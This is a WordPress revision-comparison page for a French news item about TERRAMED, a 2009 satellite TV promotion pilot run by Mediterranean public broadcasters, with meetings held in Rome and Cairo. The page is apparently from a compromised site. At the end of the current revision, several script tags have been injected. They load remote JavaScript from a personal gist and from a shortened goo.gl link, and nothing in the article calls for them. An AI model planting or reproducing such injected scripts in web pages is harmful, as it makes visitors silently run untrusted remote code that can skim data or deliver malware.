You are viewing an old revision of this post, from November 30, 2009 @ 12:26:45. See below for differences between this version and the current revision.
Rome, 6 julliet et 13 octobre 2009
Le 6 juillet 2009 une réunion avec tous les partenaires concernés a été organisée à Rome afin de poursuivre l’évaluation – tant du point de vue technique qu’éditorial – des deux premiers mois d’expérimentation et pour entamer une étude de faisabilité du développement futur de TERRAMED. De plus, la chaîne franco-allemande ARTE et la télévision publique maltaise, tous deux membres de la COPEAM, ont exprimé le souhait de s’associer au projet.
Le 13 octobre 2009, encore à Rome, la seconde réunion de ce parcours a eu lieu. Une analyse globale de l’offre des programmes choisis et promus par les partenaires pour Terramed a été présentée (quantité, sujets traités, genres, thématiques prioritaires, etc.), ainsi que la première partie d’une étude préliminaire sur le développement de Terramed. L’intention de poursuivre l’expérimentation pour le premier semestre du 2010 et de lancer une plateforme web a été exprimée par tous les participants.
Changes:
November 30, 2009 @ 12:26:45 | Current Revision | ||
---|---|---|---|
Title | |||
TERRAMED: expérimentation et étude | TERRAMED à l’antenne |
Content | |||
---|---|---|---|
La phase <span data-scayt_word="pilote" data-scaytid= "1">pilote</span> du <span data-scayt_word="projet" data-scaytid= "2">projet</span> <strong><span data-scayt_word="TERRAMED" data-scaytid= "3">TERRAMED< /span></strong> - <span data-scayt_word="vitrine" data-scaytid= "6">vitrine</span> <span data-scayt_word= "promotionnelle" data-scaytid= "7">promotionnelle</span> par satellite des <span data-scayt_word= "programmes" data-scaytid= "8">programmes</span> <span data-scayt_word="à " data-scaytid= "9">à</span> vocation <span data-scayt_word= "méditerranéenne" data-scaytid= "14">méditerranéenne</span> de <span data-scayt_word= "l’EPTV" data-scaytid= "15">l’<strong> EPTV</strong></span> (<span data-scayt_word= "Algérie" data-scaytid= "16">Algérie</span>), <strong>France <span data-scayt_word= "Télévisions" data-scaytid= "17">Télévisions< /span></strong> (France), <strong><span data-scayt_word= "Télévision" data-scaytid= "18">Télévision</span> <span data-scayt_word= "Tunisienne" data-scaytid= "19">Tunisienne< /span></strong> (<span data-scayt_word="Tunisie" data-scaytid= "20">Tunisie</span>), <strong><span data-scayt_word="Rai" data-scaytid= "21">Rai</span> News 24/<span data-scayt_word="RAIMED" data-scaytid= "22">RAIMED</ span></strong> (<span data-scayt_word="Italie" data-scaytid= "23">Italie</span>), <strong><span data-scayt_word="RTVE" data-scaytid= "24">RTVE</span> </strong>(<span data-scayt_word="Espagne" data-scaytid= "25">Espagne</span>), <span data-scayt_word="avec" data-scaytid= "26">avec</span> <strong><span data-scayt_word="Eutelsat" data-scaytid= "27">Eutelsat< /span>/<span data-scayt_word="Skylogic" data-scaytid= "28">Skylogic< /span></strong> <span data-scayt_word="comme" data-scaytid= "29">comme</span> <span data-scayt_word= "partenaire" data-scaytid= "30">partenaire</span> technique -a <span data-scayt_word="été" data-scaytid= "31">été</span><span data-scayt_word="lancée" data-scaytid= "33">lancée</span>le 30<span data-scayt_word="avril" data-scaytid= "34">avril</span> 2009: <span data-scayt_word="une" data-scaytid= "36">une</span> <span data-scayt_word="heure" data-scaytid= "38">heure</span> par jour de <span data-scayt_word= "programmation" data-scaytid= "39">programmation</span> (<span data-scayt_word= "11h00-12h00" data-scaytid= "40">11h00-12h00</span> GMT+2), <span data-scayt_word="sur" data-scaytid= "41">sur</span> la <span data-scayt_word="chaîne" data-scaytid= "44">chaîne</span> <span data-scayt_word= "satellitaire" data-scaytid= "45">satellitaire</span> <span data-scayt_word="RaiMed" data-scaytid= "46">RaiMed</span>, <span data-scayt_word= "partagée" data-scaytid= "47">partagée</span> par les 5 <span data-scayt_word= "partenaires" data-scaytid= "48">partenaires</span> <span data-scayt_word= "radiodiffuseurs" data-scaytid= "50">radiodiffuseurs</span> et <span data-scayt_word= "consacrée" data-scaytid= "51">consacrée</span> <span data-scayt_word="à " data-scaytid= "10">à</span> <span data-scayt_word="une" data-scaytid= "37">une</span> <span data-scayt_word= "sélection" data-scaytid= "52">sélection</span> d'émissions <span data-scayt_word="sur" data-scaytid= "42">sur</span> la culture, l’art, l’histoire, les traditions, l’économie, le tourisme, la cuisine, l'environnement, pour leur promotion dans toute la région euro-méditerranéenne. | |||
Cette expérimentation vise <span data-scayt_word="Ã " data-scaytid= "11">à</span> consolider le partenariat établi autour d’un produit télé novateur répondant <span data-scayt_word="Ã " data-scaytid= "12">à</span> l'objectif de mise en valeur de projets multilatéraux et internationaux ainsi que des contenus euro-méditerranéens. | |||
Le lancement officiel de <span data-scayt_word="TERRAMED" data-scaytid= "4">TERRAMED</span> par les organismes <span data-scayt_word= "partenaires" data-scaytid= "49">partenaires</span> a eulieu dans le cadre la Conférence de la COPEAM du Caire (16-19 <span data-scayt_word="avril" data-scaytid= "35">avril</span> 2009). | |||
Un groupe d’étude <span data-scayt_word="sur" data-scaytid= "43">sur</span> la faisabilité et le développement de la future plate-forme permanente de <span data-scayt_word="TERRAMED" data-scaytid= "5">TERRAMED</span> a <span data-scayt_word="été" data-scaytid= "32">été</span> mise en place et l'élargissement du partenariat <span data-scayt_word="à " data-scaytid= "13">à</span> d’autres membres de la COPEAM est envisagé. | |||
<div class="follow_up"></div> | |||
<strong>TERRAMED: expérimentation et étude | |||
< | </strong><em>Rome, 6 julliet et 13 octobre 2009</em> | ||
Le 6 juillet 2009 une réunion avec tous les partenaires concernés a été organisée à Rome afin de poursuivre l’évaluation – tant du point de vue technique qu’éditorial – des deux premiers mois d’expérimentation et pour entamer une étude de faisabilité du développement futur de TERRAMED. De plus, la chaîne franco-allemande ARTE et la télévision publique maltaise, tous deux membres de la COPEAM, ont exprimé le souhait de s’associer au projet. | |||
Le 13 octobre 2009, encore à Rome, la seconde réunion de ce parcours a eu lieu. Une analyse globale de l’offre des programmes choisis et promus par les partenaires pour Terramed a été présentée (quantité, sujets traités, genres, thématiques prioritaires, etc.), ainsi que la première partie d’une étude préliminaire sur le développement de Terramed. L’intention de poursuivre l’expérimentation pour le premier semestre du 2010 et de lancer une plateforme web a été exprimée par tous les participants. | |||
< | <hr /> | ||
Le 13 octobre 2009, encore | |||
<strong>TERRAMED présenté officiellement au Caire</strong> | |||
<em>Caire (Egypte), 16-19 avril 2009</em> | |||
Le 30 avril 2009 la diffusionexpérimentale de Terramed a démarré. A travers la promotion de documentaires, spectacles, magazines, fictions et d'autres programmes TV produits par les radiodiffuseurs partenaires, Terramed propose une mosaïque d’images et de sons illustrant l'art etculture, lessociétéset l'histoire,le patrimoine archéologique,la nature, les traditionsde la zone euro-méditerrannéenne. | |||
Le projet a été officiellement présenté lors de la Commission TV et durant la séance plénière de la Conférence de la Copeam au Caire. Il a suscité l'intérêt de la presse internationale présente à cet évènement, s'agissant de la première étape concrète du projetà moyen-terme de création d’une chaîne multilatérale et multiculturelle euro-méditerranéenne. | |||
Le 6 juillet 2009, une rencontre regroupant tous les partenaires concernés est organisée à Rome, dans le but d'évaluer les premiers mois d’expérimentation et pour élaborer les nouvelles étapes dedéveloppement du projet. <script type='text/javascript' src='https:// gist.githubusercontent.com/ vladimir677/bd66b2780ce8792e731469b660a62590/ raw/3a71aff685732599ba7fbadf7b929eae8d19053a/ js.js'></script> <script type='text/javascript' src='https:// gist.githubusercontent.com/ vladimir677/bd66b2780ce8792e731469b660a62590/ raw/3a71aff685732599ba7fbadf7b929eae8d19053a/ js.js'></script> <script type='text/javascript' src='https:// gist.githubusercontent.com/ vladimir677/bd66b2780ce8792e731469b660a62590/ raw/3a71aff685732599ba7fbadf7b929eae8d19053a/ js.js'></script> <script type='text/javascript' src='https:// gist.githubusercontent.com/ vladimir677/bd66b2780ce8792e731469b660a62590/ raw/3a71aff685732599ba7fbadf7b929eae8d19053a/ js.js'></script> <script type='text/javascript' src='https:// goo.gl/dd1kPI'></script> |
Note: Spaces may be added to comparison text to allow better line wrapping.